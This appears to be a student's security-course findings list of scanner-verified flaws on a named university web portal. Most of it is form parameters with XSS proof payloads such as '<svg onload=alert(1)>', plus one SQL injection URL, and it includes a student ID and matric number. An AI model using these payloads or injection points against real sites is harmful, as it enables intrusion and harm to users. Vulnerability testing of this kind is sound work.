# CS5439 mysoc scanner verified vuls: ```python= # reflect xss 1. ['https://mysoc.nus.edu.sg/~phdexam/student/index.php', 0, {'appn_id': '<svg onload=alert(1)>'}] 2. ['https://mysoc.nus.edu.sg/app/phdexam/student/index.php', 0, {'appn_id': '<svg onload=alert(1)>'}] ``` ## verified vuls ### reflect xss: | url | 0/1 | payload | | --------------------------------------------------- | --- | ------------------------------------ | | https://mysoc.nus.edu.sg/~phdexam/student/index.php | 0 | {'appn_id': '<svg onload=alert(1)>'} | proof of concept: ```c= "><img%20src=x%20onerror=alert(1)> ``` ![](https://i.imgur.com/p5eJWxK.png) --- | url | 0/1 | payload | | --------------------------------------------------- | --- | ------------------------------------ | | https://mysoc.nus.edu.sg/app/phdexam/student/index.php | 0 | {'appn_id': '<svg onload=alert(1)>'} | proof of concept: ```c= "><img%20src=x%20onerror=alert(1)> ``` ![](https://i.imgur.com/gWvUtnj.png) --- ``` # stored-based xss 3. ['https://mysoc.nus.edu.sg/app/eform/forms/form10.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_rs': '', 'F_hardwaremodel': '<svg onload=teste0509851test>', 'F_asset': '', 'F_hostname': '', 'F_rackmount': 'NO', 'F_size': '', 'F_power': '', 'F_heat': '', 'F_handphone': '', 'F_extension_f': 'Y', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}] 4. ['https://mysoc.nus.edu.sg/app/eform/forms/form10.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_rs': '', 'F_hardwaremodel': '', 'F_asset': '<svg onload=teste0509851test>', 'F_hostname': '', 'F_rackmount': 'NO', 'F_size': '', 'F_power': '', 'F_heat': '', 'F_handphone': '', 'F_extension_f': 'Y', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}] 5. ['https://mysoc.nus.edu.sg/app/eform/forms/form10.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_rs': '', 'F_hardwaremodel': '', 'F_asset': '', 'F_hostname': '<svg onload=teste0509851test>', 'F_rackmount': 'NO', 'F_size': '', 'F_power': '', 'F_heat': '', 'F_handphone': '', 'F_extension_f': 'Y', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}] 6. ['https://mysoc.nus.edu.sg/app/eform/forms/form10.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_rs': '', 'F_hardwaremodel': '', 'F_asset': '', 'F_hostname': '', 'F_rackmount': 'NO', 'F_size': '<svg onload=teste0509851test>', 'F_power': '', 'F_heat': '', 'F_handphone': '', 'F_extension_f': 'Y', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}] 7. ['https://mysoc.nus.edu.sg/app/eform/forms/form10.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_rs': '', 'F_hardwaremodel': '', 'F_asset': '', 'F_hostname': '', 'F_rackmount': 'NO', 'F_size': '', 'F_power': '<svg onload=teste0509851test>', 'F_heat': '', 'F_handphone': '', 'F_extension_f': 'Y', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}] 8. ['https://mysoc.nus.edu.sg/app/eform/forms/form10.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_rs': '', 'F_hardwaremodel': '', 'F_asset': '', 'F_hostname': '', 'F_rackmount': 'NO', 'F_size': '', 'F_power': '', 'F_heat': '<svg onload=teste0509851test>', 'F_handphone': '', 'F_extension_f': 'Y', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}] 9. ['https://mysoc.nus.edu.sg/app/eform/forms/form10.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_rs': '', 'F_hardwaremodel': '', 'F_asset': '', 'F_hostname': '', 'F_rackmount': 'NO', 'F_size': '', 'F_power': '', 'F_heat': '', 'F_handphone': '<svg onload=teste0509851test>', 'F_extension_f': 'Y', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}] 10. ['https://mysoc.nus.edu.sg/app/eform/forms/form10.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_rs': '', 'F_hardwaremodel': '', 'F_asset': '', 'F_hostname': '', 'F_rackmount': 'NO', 'F_size': '', 'F_power': '', 'F_heat': '', 'F_handphone': '', 'F_extension_f': 'Y', 'F_supervisor_id': '<svg onload=teste0509851test>', 'F_email': 'YES', 'submit': 'Continue'}] 11. ['https://mysoc.nus.edu.sg/app/eform/forms/form8.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_can_apply': '1', 'F_rs': '<svg onload=teste0509851test>', 'F_resource_others': '', 'F_mac_addr': '', 'F_host_ip': '', 'F_research_f': 'Research', 'F_research_t': '', 'F_teaching_f': 'Teaching', 'F_teaching_t': '', 'F_work_f': 'Work', 'F_work_t': '', 'F_misc_f': 'Misc', 'F_misc_t': '', 'F_extension_f': 'Y', 'F_rg_n': '', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}] 12. ['https://mysoc.nus.edu.sg/app/eform/forms/form8.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_can_apply': '1', 'F_rs': '', 'F_resource_others': '<svg onload=teste0509851test>', 'F_mac_addr': '', 'F_host_ip': '', 'F_research_f': 'Research', 'F_research_t': '', 'F_teaching_f': 'Teaching', 'F_teaching_t': '', 'F_work_f': 'Work', 'F_work_t': '', 'F_misc_f': 'Misc', 'F_misc_t': '', 'F_extension_f': 'Y', 'F_rg_n': '', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}] 13. ['https://mysoc.nus.edu.sg/app/eform/forms/form8.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_can_apply': '1', 'F_rs': '', 'F_resource_others': '', 'F_mac_addr': '<svg onload=teste0509851test>', 'F_host_ip': '', 'F_research_f': 'Research', 'F_research_t': '', 'F_teaching_f': 'Teaching', 'F_teaching_t': '', 'F_work_f': 'Work', 'F_work_t': '', 'F_misc_f': 'Misc', 'F_misc_t': '', 'F_extension_f': 'Y', 'F_rg_n': '', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}] 14. ['https://mysoc.nus.edu.sg/app/eform/forms/form8.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_can_apply': '1', 'F_rs': '', 'F_resource_others': '', 'F_mac_addr': '', 'F_host_ip': '<svg onload=teste0509851test>', 'F_research_f': 'Research', 'F_research_t': '', 'F_teaching_f': 'Teaching', 'F_teaching_t': '', 'F_work_f': 'Work', 'F_work_t': '', 'F_misc_f': 'Misc', 'F_misc_t': '', 'F_extension_f': 'Y', 'F_rg_n': '', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}] 15. ['https://mysoc.nus.edu.sg/app/eform/forms/form8.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_can_apply': '1', 'F_rs': '', 'F_resource_others': '', 'F_mac_addr': '', 'F_host_ip': '', 'F_research_f': 'Research', 'F_research_t': '<svg onload=teste0509851test>', 'F_teaching_f': 'Teaching', 'F_teaching_t': '', 'F_work_f': 'Work', 'F_work_t': '', 'F_misc_f': 'Misc', 'F_misc_t': '', 'F_extension_f': 'Y', 'F_rg_n': '', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}] 16. ['https://mysoc.nus.edu.sg/app/eform/forms/form8.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_can_apply': '1', 'F_rs': '', 'F_resource_others': '', 'F_mac_addr': '', 'F_host_ip': '', 'F_research_f': 'Research', 'F_research_t': '', 'F_teaching_f': 'Teaching', 'F_teaching_t': '<svg onload=teste0509851test>', 'F_work_f': 'Work', 'F_work_t': '', 'F_misc_f': 'Misc', 'F_misc_t': '', 'F_extension_f': 'Y', 'F_rg_n': '', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}] 17. ['https://mysoc.nus.edu.sg/app/eform/forms/form8.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_can_apply': '1', 'F_rs': '', 'F_resource_others': '', 'F_mac_addr': '', 'F_host_ip': '', 'F_research_f': 'Research', 'F_research_t': '', 'F_teaching_f': 'Teaching', 'F_teaching_t': '', 'F_work_f': 'Work', 'F_work_t': '<svg onload=teste0509851test>', 'F_misc_f': 'Misc', 'F_misc_t': '', 'F_extension_f': 'Y', 'F_rg_n': '', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}] 18. ['https://mysoc.nus.edu.sg/app/eform/forms/form8.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_can_apply': '1', 'F_rs': '', 'F_resource_others': '', 'F_mac_addr': '', 'F_host_ip': '', 'F_research_f': 'Research', 'F_research_t': '', 'F_teaching_f': 'Teaching', 'F_teaching_t': '', 'F_work_f': 'Work', 'F_work_t': '', 'F_misc_f': 'Misc', 'F_misc_t': '<svg onload=teste0509851test>', 'F_extension_f': 'Y', 'F_rg_n': '', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}] 19. ['https://mysoc.nus.edu.sg/app/eform/forms/form8.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_can_apply': '1', 'F_rs': '', 'F_resource_others': '', 'F_mac_addr': '', 'F_host_ip': '', 'F_research_f': 'Research', 'F_research_t': '', 'F_teaching_f': 'Teaching', 'F_teaching_t': '', 'F_work_f': 'Work', 'F_work_t': '', 'F_misc_f': 'Misc', 'F_misc_t': '', 'F_extension_f': 'Y', 'F_rg_n': '<svg onload=teste0509851test>', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}] 20. ['https://mysoc.nus.edu.sg/app/eform/forms/form8.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_can_apply': '1', 'F_rs': '', 'F_resource_others': '', 'F_mac_addr': '', 'F_host_ip': '', 'F_research_f': 'Research', 'F_research_t': '', 'F_teaching_f': 'Teaching', 'F_teaching_t': '', 'F_work_f': 'Work', 'F_work_t': '', 'F_misc_f': 'Misc', 'F_misc_t': '', 'F_extension_f': 'Y', 'F_rg_n': '', 'F_supervisor_id': '<svg onload=teste0509851test>', 'F_email': 'YES', 'submit': 'Continue'}] 21. ['https://mysoc.nus.edu.sg/app/eform/forms/formC_1.php', 1, {'soc_id': '<svg onload=teste0509851test>', 'F_per_type': 'ug', 'F_resource_c': 'L01', 'F_pi_id': '', 'Submit': 'Submit'}] 22. ['https://mysoc.nus.edu.sg/app/eform/forms/formC_1.php', 1, {'soc_id': 'e0509851', 'F_per_type': 'ug', 'F_resource_c': 'L01', 'F_pi_id': '<svg onload=teste0509851test>', 'Submit': 'Submit'}] 23. ['https://mysoc.nus.edu.sg/app/eform/forms/formD_1.php', 1, {'logged_user': 'e0509851', 'F_per_type': 'student', 'F_curr_lab': '163', 'F_curr_seat': '10', 'F_curr_user': 'e0509851', 'F_curr_name': '<svg onload=teste0509851test>', 'F_rq_f': 'Y', 'F_std_matric': 'A0213812R', 'F_resource_c': 'L02', 'soc_id': 'e0509851', None: 'Go', 'F_start_d': '', 'F_end_d': '', 'F_pi_id': '', 'F_pc': '', 'Submit': 'Submit'}] 24. ['https://mysoc.nus.edu.sg/app/eform/forms/formD_1.php', 1, {'logged_user': 'e0509851', 'F_per_type': 'student', 'F_curr_lab': '163', 'F_curr_seat': '10', 'F_curr_user': 'e0509851', 'F_curr_name': '', 'F_rq_f': 'Y', 'F_std_matric': 'A0213812R', 'F_resource_c': 'L02', 'soc_id': '<svg onload=teste0509851test>', None: 'Go', 'F_start_d': '', 'F_end_d': '', 'F_pi_id': '', 'F_pc': '', 'Submit': 'Submit'}] 25. ['https://mysoc.nus.edu.sg/app/eform/forms/formD_1.php', 1, {'logged_user': 'e0509851', 'F_per_type': 'student', 'F_curr_lab': '163', 'F_curr_seat': '10', 'F_curr_user': 'e0509851', 'F_curr_name': '', 'F_rq_f': 'Y', 'F_std_matric': 'A0213812R', 'F_resource_c': 'L02', 'soc_id': 'e0509851', None: 'Go', 'F_start_d': '<svg onload=teste0509851test>', 'F_end_d': '', 'F_pi_id': '', 'F_pc': '', 'Submit': 'Submit'}] 26. ['https://mysoc.nus.edu.sg/app/eform/forms/formD_1.php', 1, {'logged_user': 'e0509851', 'F_per_type': 'student', 'F_curr_lab': '163', 'F_curr_seat': '10', 'F_curr_user': 'e0509851', 'F_curr_name': '', 'F_rq_f': 'Y', 'F_std_matric': 'A0213812R', 'F_resource_c': 'L02', 'soc_id': 'e0509851', None: 'Go', 'F_start_d': '', 'F_end_d': '<svg onload=teste0509851test>', 'F_pi_id': '', 'F_pc': '', 'Submit': 'Submit'}] 27. ['https://mysoc.nus.edu.sg/app/eform/forms/formD_1.php', 1, {'logged_user': 'e0509851', 'F_per_type': 'student', 'F_curr_lab': '163', 'F_curr_seat': '10', 'F_curr_user': 'e0509851', 'F_curr_name': '', 'F_rq_f': 'Y', 'F_std_matric': 'A0213812R', 'F_resource_c': 'L02', 'soc_id': 'e0509851', None: 'Go', 'F_start_d': '', 'F_end_d': '', 'F_pi_id': '<svg onload=teste0509851test>', 'F_pc': '', 'Submit': 'Submit'}] 28. ['https://mysoc.nus.edu.sg/app/eform/forms/form2.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_extension_f': 'Y', 'F_hardware_type_t_others': '<svg onload=teste0509851test>', 'F_os_type_t_others': '', 'F_num_appn': '1', 'F_host_nm[]': '', 'F_ethernet_addr_t[]': '', 'F_cpu_asset_n[]': '', 'F_monitor_asset_n[]': '', 'F_category_t_others': '', 'F_lab_nm': '', 'F_sys_location_t': '', 'F_supervisor_id': '', 'F_USER': 'e0509851', 'submit': 'Continue'}] 29. ['https://mysoc.nus.edu.sg/app/eform/forms/form2.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_extension_f': 'Y', 'F_hardware_type_t_others': '', 'F_os_type_t_others': '<svg onload=teste0509851test>', 'F_num_appn': '1', 'F_host_nm[]': '', 'F_ethernet_addr_t[]': '', 'F_cpu_asset_n[]': '', 'F_monitor_asset_n[]': '', 'F_category_t_others': '', 'F_lab_nm': '', 'F_sys_location_t': '', 'F_supervisor_id': '', 'F_USER': 'e0509851', 'submit': 'Continue'}] 30. ['https://mysoc.nus.edu.sg/app/eform/forms/form2.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_extension_f': 'Y', 'F_hardware_type_t_others': '', 'F_os_type_t_others': '', 'F_num_appn': '<svg onload=teste0509851test>', 'F_host_nm[]': '', 'F_ethernet_addr_t[]': '', 'F_cpu_asset_n[]': '', 'F_monitor_asset_n[]': '', 'F_category_t_others': '', 'F_lab_nm': '', 'F_sys_location_t': '', 'F_supervisor_id': '', 'F_USER': 'e0509851', 'submit': 'Continue'}] 31. ['https://mysoc.nus.edu.sg/app/eform/forms/form2.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_extension_f': 'Y', 'F_hardware_type_t_others': '', 'F_os_type_t_others': '', 'F_num_appn': '1', 'F_host_nm[]': '<svg onload=teste0509851test>', 'F_ethernet_addr_t[]': '', 'F_cpu_asset_n[]': '', 'F_monitor_asset_n[]': '', 'F_category_t_others': '', 'F_lab_nm': '', 'F_sys_location_t': '', 'F_supervisor_id': '', 'F_USER': 'e0509851', 'submit': 'Continue'}] 32. ['https://mysoc.nus.edu.sg/app/eform/forms/form2.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_extension_f': 'Y', 'F_hardware_type_t_others': '', 'F_os_type_t_others': '', 'F_num_appn': '1', 'F_host_nm[]': '', 'F_ethernet_addr_t[]': '', 'F_cpu_asset_n[]': '<svg onload=teste0509851test>', 'F_monitor_asset_n[]': '', 'F_category_t_others': '', 'F_lab_nm': '', 'F_sys_location_t': '', 'F_supervisor_id': '', 'F_USER': 'e0509851', 'submit': 'Continue'}] 33. ['https://mysoc.nus.edu.sg/app/eform/forms/form2.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_extension_f': 'Y', 'F_hardware_type_t_others': '', 'F_os_type_t_others': '', 'F_num_appn': '1', 'F_host_nm[]': '', 'F_ethernet_addr_t[]': '', 'F_cpu_asset_n[]': '', 'F_monitor_asset_n[]': '<svg onload=teste0509851test>', 'F_category_t_others': '', 'F_lab_nm': '', 'F_sys_location_t': '', 'F_supervisor_id': '', 'F_USER': 'e0509851', 'submit': 'Continue'}] 34. ['https://mysoc.nus.edu.sg/app/eform/forms/form2.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_extension_f': 'Y', 'F_hardware_type_t_others': '', 'F_os_type_t_others': '', 'F_num_appn': '1', 'F_host_nm[]': '', 'F_ethernet_addr_t[]': '', 'F_cpu_asset_n[]': '', 'F_monitor_asset_n[]': '', 'F_category_t_others': '<svg onload=teste0509851test>', 'F_lab_nm': '', 'F_sys_location_t': '', 'F_supervisor_id': '', 'F_USER': 'e0509851', 'submit': 'Continue'}] 35. ['https://mysoc.nus.edu.sg/app/eform/forms/form2.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_extension_f': 'Y', 'F_hardware_type_t_others': '', 'F_os_type_t_others': '', 'F_num_appn': '1', 'F_host_nm[]': '', 'F_ethernet_addr_t[]': '', 'F_cpu_asset_n[]': '', 'F_monitor_asset_n[]': '', 'F_category_t_others': '', 'F_lab_nm': '<svg onload=teste0509851test>', 'F_sys_location_t': '', 'F_supervisor_id': '', 'F_USER': 'e0509851', 'submit': 'Continue'}] 36. ['https://mysoc.nus.edu.sg/app/eform/forms/form2.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_extension_f': 'Y', 'F_hardware_type_t_others': '', 'F_os_type_t_others': '', 'F_num_appn': '1', 'F_host_nm[]': '', 'F_ethernet_addr_t[]': '', 'F_cpu_asset_n[]': '', 'F_monitor_asset_n[]': '', 'F_category_t_others': '', 'F_lab_nm': '', 'F_sys_location_t': '<svg onload=teste0509851test>', 'F_supervisor_id': '', 'F_USER': 'e0509851', 'submit': 'Continue'}] 37. ['https://mysoc.nus.edu.sg/app/eform/forms/form2.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_extension_f': 'Y', 'F_hardware_type_t_others': '', 'F_os_type_t_others': '', 'F_num_appn': '1', 'F_host_nm[]': '', 'F_ethernet_addr_t[]': '', 'F_cpu_asset_n[]': '', 'F_monitor_asset_n[]': '', 'F_category_t_others': '', 'F_lab_nm': '', 'F_sys_location_t': '', 'F_supervisor_id': '<svg onload=teste0509851test>', 'F_USER': 'e0509851', 'submit': 'Continue'}] 38. ['https://mysoc.nus.edu.sg/app/eform/forms/form1.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': '', 'F_qty': '<svg onload=teste0509851test>', 'F_extension_f': 'Y', 'F_account_nm': ''}] 39. ['https://mysoc.nus.edu.sg/app/eform/forms/form1.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': '', 'F_qty': '', 'F_extension_f': 'Y', 'F_account_nm': '<svg onload=teste0509851test>'}] #with manual effort ## sqli 40. https://mysoc.nus.edu.sg/app/eform/forms/form6.php?F_action=print_form&F_resource_n=F6-0069910&F_signature=ns&F_admin=1 ## stored-based xss 41. https://mysoc.nus.edu.sg/~calendar/start/PRIVATE/cal.cgi?CalendarName=AI_Lab_1_Seat1&Op=ShowDay&Date=2022%2F1%2F1&Amount=Month&NavType=Absolute&Type=Block ``` store based xss: ![](https://i.imgur.com/Rq6Wq63.png)